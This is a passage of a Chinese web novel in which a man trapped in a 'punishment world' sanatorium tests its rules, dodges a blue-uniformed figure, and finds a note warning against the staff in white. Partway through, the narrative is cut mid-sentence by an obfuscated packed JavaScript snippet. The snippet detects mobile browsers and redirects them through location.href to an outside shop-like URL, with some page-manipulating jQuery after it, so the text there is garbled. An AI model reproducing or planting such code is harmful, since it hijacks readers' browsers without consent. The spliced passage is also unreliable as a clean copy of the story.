他掀开保鲜膜。食物看起来正常,闻起来也正常。但他不打算吃——至少不打算现在吃。规则没说必须吃,只说红色食物不能吃。 他把餐盘放到地上,离自己远一点。 然后他躺回床上,盯着天花板。 信息汇总: 有医护人员(白色制服),行为机械化,像是执行固定程序。 有其他患者,状态异常。 有观众系统,能偶尔看到弹幕。 有规则漏洞(白天哭声如何处理)。 时间系统存在(上午十一点二十)。 送餐流程固定。 林越闭上眼睛,整理思路。 这就是惩罚世界。“安静”的疗养院。规则怪谈加直播。 生存七天,通过评估。 听起来简单,但他知道肯定没这么简单。规则里必然藏着矛盾,环境里必然藏着危险,医护人员必然藏着秘密。 而他,只有在中世纪世界用三条命换来的经验:对危险医疗的警惕,对卫生条件的敏感,对“专家建议”的怀疑。 这些经验在这里有用吗? 至少,让他不会轻易相信“疗养院是为了你好”这种话。 林越重新坐起来,走到窗边,再次拉开窗帘。 灰蒙蒙的天空,整齐的草坪,空无一人的院子。 远处,疗养院大门依旧紧闭。 但他注意到一个细节:大门旁边的门卫室,窗户后面好像有个人影。 很模糊,距离太远看不清。但确实有东西在动。 林越眯起眼睛想看得更清楚,但就在这时—— 房间里的光线又暗了一下。 同时,机械女声在脑子里响起: 【当前在线观众:1,302人】 【弹幕:新人挺冷静啊】 【弹幕:居然没吃送来的饭】 【弹幕:隔壁304那个女的天天哭】 【弹幕:提示:蓝色制服今天还没出现】 声音消失。 林越记住了最后一条弹幕。 蓝色制服今天还没出现。 也就是说,蓝色制服会出现,而且观众知道会出现的时间或规律? 这算不算“场外提示”?观众在帮他? 还是说,这是规则的一部分:观众可以通过弹幕提供有限信息? 林越不知道。但他记下了这个信息。 他回到床边,再次拿起那张规则纸,重新看第七条: 7. 第七天会有最终评估,通过评估即可出院。 出院之后呢?回到现实世界?还是进入下一个世界? 他不知道。但他有预感:这个惩罚世界不会简单放过他。 三次死亡换来的入场券,代价已经付了。现在,他得在这个“安静”的疗养院里,找到生存七天的办法。 而且,他隐隐觉得,这里藏着某个秘密。 关于轮回的秘密。 关于为什么他会不断穿越的秘密。 关于红痕、惩罚世界、观众系统的秘密。 “那就来吧,”林越把规则纸折好,放进病号服口袋,“让我看看,这个疗养院到底有多‘安静’。” 他走到门边,再次打开门。 走廊里,日光灯依旧亮着,发出均匀的白光。 远处,活动室的门开着。 更远处,走廊尽头的楼梯间,门半掩着。 林越站在303门口,没有立刻出去。 他在等。 等下一个声音。 等下一个变化。 等这个“安静”的疗养院,露出它的第一颗獠牙。 40.疗养首日 时间在寂静中流逝。 林越站在303号病房门口,手搭在门把上,耳朵捕捉着走廊里的每一个细微声响。日光灯的嗡嗡声,远处某个房间隐约的滴水声,自己的呼吸声——这些声音在绝对的安静里被放大,又因为过于规律而显得可疑。 他在等。等下一个声音。等下一个变化。 但什么都没有。 “安静的疗养院”,规则里写的“安静”,现在成了最直接的压迫。没有声音,意味着没有信息;没有变化,意味着没有突破口。 这样等下去不是办法。 林越看了眼走廊两侧。左边,活动室的门关着——他记得之前是开着的。右边,楼梯间的门半掩着,缝隙里透出更深沉的黑暗。 他需要主动获取信息。 规则六禁止“私自交换物品”,但没有禁止“交流”。规则一要求“保持安静”,但“安静”的定义模糊。敲门声算不算打破安静? 值得一试。 他轻轻带上303的门,但没有锁。然后走到304号病房门口。 门关着,小窗口是磨砂玻璃,看不清里面。他把耳朵贴上去—— 没有哭声,一片安静。 他犹豫了一秒,然后抬起手,轻轻敲了敲门。 三下,间隔均匀。 等了几秒,没有回应。他又敲了两下。 还是没回应。 “要么不在,要么不想理,”林越想,“或者……不能理?” 他走到305号门口。同样敲了三下。 门里传来声音:“……一百九十三、一百九十四、一百九十五……” 是那个数数男人。声音机械,没有感情,像录音机在播放。 林越又敲了两下。 数数停顿了一秒,然后继续:“一百九十六、一百九十七……” 看来这个状态也问不出什么。 林越继续往走廊尽头走。路过306、307……门都关着,不知道里面有没有人。走到楼梯间门口,他停下来。 楼梯间门半掩着,能看到向下的台阶。墙上贴着“安全出口”的绿色标志,但灯光比走廊暗。 规则没有禁止进入楼梯间,但也没说可以进。 林越正在犹豫,突然听到楼下传来声音。 脚步声。 很重,很规律,一步一步往上走。 他立刻退回走廊,但没有立刻回房间。他想看看是谁。 脚步声越来越近。然后,在楼梯拐角处,出现了。 蓝色制服。 深蓝色,近似海军蓝。款式和白色制服很像——白大褂样式,但颜色是蓝的。穿着蓝色制服的是个男人,三十多岁,面无表情,眼睛直视前方。 林越脑子里瞬间响起规则二:如果看到穿蓝色制服的人,请不要与他们对视,立即返回病房锁门。 他没有对视——或者说,他立刻移开了视线,看向地面。然后转身,快步走回303。 脚步放轻,但速度很快。他能听到身后的脚步声还在往上走,节奏不变。 走到303门口,推门进去,关门,锁门。 动作一气呵成。 他靠在门后,听着外面的脚步声。蓝色制服从门口经过,脚步声很稳,继续往走廊深处走。 然后,停在某个门口。 林越从门上的小窗往外看。蓝色制服停在307号门口——他记得307号的门牌。 蓝色制服敲了敲门。等了几秒,然后推门进去。 门关上。 走廊恢复安静。 林越等了足足一分钟,蓝色制服没有出来。 “所以蓝色制服会进入病房,”林越想,“进去做什么?检查?治疗?还是别的?” 他回忆起规则二的完整内容:如果看到穿蓝色制服的人,请不要与他们对视,立即返回病房锁门。 “锁门”是关键。如果蓝色制服会进入病房,那锁门就能阻止他进入?但规则没说“锁门能阻止进入”,只说“立即返回病房锁门”。 可能锁门是保护措施。也可能……是必须的仪式? 林越走到床边坐下。刚才的遭遇让他确认了几件事: 第一,蓝色制服确实存在,颜色是深蓝色,款式类似白大褂。 第二,蓝色制服会主动进入病房(至少进入了307)。 第三,蓝色制服没有攻击性行为——至少在他观察的范围内没有。 第四,回避规则有效。他没有对视,迅速返回,锁门,没有发生意外。 “那么问题来了,”林越想,“如果蓝色制服进入307,而307里有人,会发生什么?” 他不知道。也许307里根本没人。也许有,但结果未知。 他需要更多信息。 关于蓝色制服,目前知道的还是太少。观众弹幕提到“蓝色制服今天还没出现”,说明这是每日事件,但没说明具体时间。现在出现了,进入了307,但之后呢? 林越把耳朵贴在门上,仔细听外面的动静。307号病房距离303大概四个房间,正常听力范围应该能听到些声音——如果里面有动静的话。 但什么都没有。走廊里一片死寂,连日光灯的嗡嗡声都显得刻意。 “要么307里没人,”林越想,“要么……里面发生了什么,但声音传不出来。” 他想起中世纪世界里的各种死法:中毒、感染、放血。至少那些死亡是物理性的,能感受到痛苦,能听到声音。这里的“惩罚世界”却安静得像真空,连危险都来得悄无声息。 这反而更让人不安。 未知的规则,未知的威胁,未知的后果。就像面对一个没有文档的API,你只能通过试错来摸索它的边界——而试错的代价,可能是命。 他需要更多信息。 就在这时,肚子叫了一声。 饿了。 从进入惩罚世界到现在,他还没吃过东西。送来的餐盘还放在地上,保鲜膜盖着,他没动。 规则三说红色食物不能吃,但没说其他食物必须吃。他可以不吃,但饥饿会影响判断力和体力。 他走到餐盘前,蹲下,掀开保鲜膜。 米饭已经凉了,青菜蔫了,肉看起来是鸡肉,汤表面结了一层膜。 颜色正常,没有红色。 但他还是不打算吃。不是怕有毒,是怕“必须吃”的隐藏规则。万一吃了就代表接受某种契约呢? 他决定再等等。 把餐盘放回地上,他走到窗边,再次拉开窗帘一角。 外面还是灰蒙蒙的天空,看不到太阳。院子里草坪依旧整齐,门卫室的窗户后面……那个人影还在。 这次他看得更仔细。人影坐在窗后,一动不动,像雕塑。距离太远,看不清细节,但能确定是个人形。 “门卫,”林越想,“或者看守。” 他放下窗帘,回到床边。现在是制定计划的时候了。 基于现有信息: 时间系统:需要确认具体时间。送餐时间是上午11:20(护士说的),那么现在可能接近中午。查房时间是下午3:00-4:00,还有几个小时。 蓝色制服规律:今天首次出现,进入了307。观众提示“今天还没出现”,说明通常会更早出现?或者每天出现时间固定? 患者状态:304号哭泣(白天),305号数数(机械),其他未知。 观众系统:观众提供有限信息。 规则漏洞:多条规则存在模糊地带,需要谨慎测试。 林越决定先做一件事:确认日期。 如果今天是第一天,那么距离第七天评估还有六天。但他不知道今天是第几天。 他需要标记时间。 没有笔,没有纸,怎么标记? 他看了看房间。病床、床头柜、椅子、衣柜、卫生间。 卫生间里有镜子、洗手池、马桶。镜子是固定的,洗手池是陶瓷的,马桶是标准的。 他走到卫生间,打开灯。镜子里的自己看起来……正常。没有伤口,没有病容,就是有点疲惫。 他检查洗手池台面,什么都没有。打开水龙头,水流正常,温度适中。 然后他看到了——牙刷和牙膏。标准的宾馆配置,塑料包装没拆。 “工具,”林越拿起牙刷,“塑料柄,可以当记号笔。” 他回到房间,看着墙壁。淡绿色墙面,如果用牙刷柄刮,应该能留下痕迹。 但规则六禁止“私自交换物品”,没说禁止破坏墙面。不过这种地方,破坏墙面可能触发别的机制。 他放弃了这个想法。 另一个方法:记忆。他可以在脑子里建立时间线。 “假设今天是我进入的第一天,”他想,“那么就是Day 1。明天Day 2,以此类推。” 但需要外部验证。 他想到了观众。观众可能知道“副本进度”。 他尝试在脑子里提问:“今天是第几天?” 没有回应。 看来观众系统不是问答机。 他换了个思路:观察环境变化。如果疗养院有日常流程,那么通过流程可以推断时间。 送餐时间:上午? 查房时间:下午3-4点。 蓝色制服出现时间:未知。 灯光变化时间:未知。 他需要记录。 没有纸笔,就用记忆宫殿法。把信息储存在脑海里特定位置。 就在这时,门外传来声音。 不是脚步声,是……轮子声? 林越走到门边,从小窗往外看。 两个白色制服医护人员推着车走过来。车上是药盒、记录板。 查房时间到了? 他看了眼不存在的表——可能真是下午三点。 医护人员走到301门口,敲门,进入,一分钟后出来。然后302。 流程和送餐一样。 林越快速回到床边坐下,摆出标准患者姿态。 几秒后,敲门声响起。 “303,查房。”女声,平淡。 林越没说话。 门被推开。两个医护人员走进来,一男一女,都戴口罩,眼神空洞。 男护士拿起记录板:“姓名?” “林越。” “今日感觉如何?” “……还好。” “有无不适?” “没有。” 男护士写了几笔,然后说:“请配合检查。” 女护士走到林越面前,拿出听诊器。冰凉的金属贴在胸口,听了几秒,又量了血压。 整个过程机械快速,像在检查机器。 “一切正常,”女护士说,“请继续保持。” 然后两人转身离开,去304。 门关上。 林越松了口气。查房流程比想象中简单,就是基础检查,不多问,不多说。 但正是这种“简单”让他觉得不对劲。太标准化了,太流程化了,连问的问题都像预设好的脚本。男护士甚至没抬头看他,全程盯着记录板。女护士的动作精准得像机器人,体温计、血压计、听诊器——每样工具用完就放回原位,没有多余动作。 “要么他们是NPC,执行固定程序,”林越想,“要么……他们在收集数据。” 他想起送餐时也被问过姓名,查房又问感觉如何。这些信息被记录在板上,会去哪里?疗养院的档案系统?还是某个“评估”的参考依据? 规则七说第七天有最终评估。评估标准是什么?大概率就是这些日常检查的累计数据:身体状况、心理状态、配合程度。 所以查房的关键可能不是检查本身,而是“配合”这个动作。规则五明确写着“请配合医护人员的检查”。“配合”可能本身就是评估项。 “那就配合到底,”林越决定,“至少在摸清规则前,不主动挑衅。” 但问题又回到了原点:这些穿白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227144|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣服的医护人员,到底值不值得信任? 纸条上的警告还在脑子里回响。 他等了几分钟,然后再次走到门边往外看。 医护人员已经查完304,正在敲305的门。 305的门开了。数数男人的声音传出来:“……两百三十一、两百三十二……” 医护人员进去,一分钟后出来。数数继续:“……两百九十三、两百九十四……” 看来数数男人连查房时都不停。 医护人员推车离开,消失在走廊尽头。 查房结束。 林越看了眼窗户外的光线——似乎暗了一些。可能到傍晚了。 他决定做今天的最后一次试探:去活动室看看。 规则没说不能去活动室,而且他去过,没发生什么。 他打开门,走向活动室。走廊里空无一人,日光灯依旧亮着。 活动室的门没锁,他推门进去。 和昨天一样:桌椅,电视,书架,饮水机。 他走到书架前,这次更仔细地看书名。养生保健、小说、旅游指南、菜谱……都是普通书籍。 他抽出一本小说,翻了几页,又放回去。 然后他注意到——书架上多了一本书。 他扫过书架,记得大概排列。现在,在养生保健类旁边,多了一本黑色封面的书,没有书名。 他伸手去拿。 手指触碰到书脊的瞬间,房间里的光线又暗了一下。 同时,机械女声: 【当前在线观众:1,302人】 【弹幕:主播要触发事件了】 【弹幕:黑色书,经典flag】 【弹幕:快跑!】 林越的手停在半空。 他看了看书,又看了看四周。活动室空荡荡的,只有他一个人。 “触发事件?”他想了想,还是把书抽了出来。 黑色封面,没有书名,没有作者。翻开第一页,空白。第二页,还是空白。整本书都是空白。 无字天书。 林越翻到最后一页,也是空白。但封底内侧有东西——一张纸条。 很小的纸条,折叠着。他拿出来,展开。 上面用钢笔写着一行字: “不要相信穿白衣服的人。” 字迹潦草,像匆忙写下的。 林越盯着这行字,脑子里快速分析: 第一,纸条是警告。 第二,警告对象是“穿白衣服的人”——医护人员穿白色制服。 第三,纸条藏在书里,书是才出现的。 第四,怎么出现的?为什么? 他把纸条重新折好,放回封底内侧,然后把书塞回书架原位。 不要相信穿白衣服的人。 但规则二说医护人员穿白色制服,蓝色制服危险。纸条却说不要相信白色制服。 矛盾。 但这矛盾本身可能就是信息。林越在脑子里列出所有可能性: 可能性A:规则真,纸条假。医护人员确实是白色制服,蓝色制服危险。纸条是误导,可能是蓝色制服方放的,或者是其他“患者”的恶作剧。 可能性B:规则假,纸条真。蓝色制服才是真正的医护人员,白色制服危险。规则二故意颠倒黑白,引导“患者”信任错误的一方。 可能性C:两者都部分真实。白色制服和蓝色制服都危险,只是危险类型不同。或者双方代表不同势力,规则和纸条分别来自对立阵营。 可能性D:两者都假。真正的规则还没出现,白色蓝色都是烟雾弹。 从程序员角度看,这就像两个冲突的配置文件:rules.md 说“trust_white=true”,note.txt 说“trust_white=false”。要确定哪个正确,需要看源代码——或者,运行测试。 测试的方法很简单:观察。 观察白色制服的行为模式,观察蓝色制服的行为模式,观察其他患者的反应,观察观众弹幕的暗示。 比如今天查房时白色制服的表现:机械、程序化、不关注“患者”个体。这是正常医护行为,还是伪装? 比如蓝色制服进入307:进去后没出来,307里也没声音。这是“处理”了什么,还是例行检查? 比如观众弹幕:他们提醒“蓝色制服今天还没出现”,但没提白色制服。这说明在观众认知里,蓝色制服是特殊事件,白色制服是日常背景。 “所以现阶段,白色制服是已知日常,蓝色制服是已知风险,”林越总结,“纸条是未知变量。” 对待未知变量,最好的方法是隔离观察,不轻易调用。 林越离开活动室,回到303。关上门,锁好。 天色(透过窗帘缝隙)似乎更暗了。快到晚上了。 他坐在床上,整理今天的收获: 首次遭遇蓝色制服,回避成功。 确认查房流程简单机械。 发现纸条警告,与规则矛盾。 观众数量增加到1302人。 时间可能接近傍晚。 接下来要面对的是夜晚。 规则四:夜间如果听到哭声,请用枕头捂住耳朵,直到哭声停止。 昨晚304号哭了,但那是白天。今晚呢? 另外,规则一:疗养院作息时间为6:00-22:00,请在此期间保持安静。 晚上十点后呢?是不是可以发出声音?还是必须继续保持安静? 林越不知道。他需要观察。 他决定今晚不睡。至少不完全睡。他要留意夜间的动静。 现在,等待夜幕降临。 他走到窗边,最后看了一眼外面的灰蒙蒙天空。 然后拉紧窗帘。 房间里只剩下日光灯的嗡嗡声,和消毒水的味道。 惩罚世界的第一天,即将结束。 而他还不知道,这只是开始。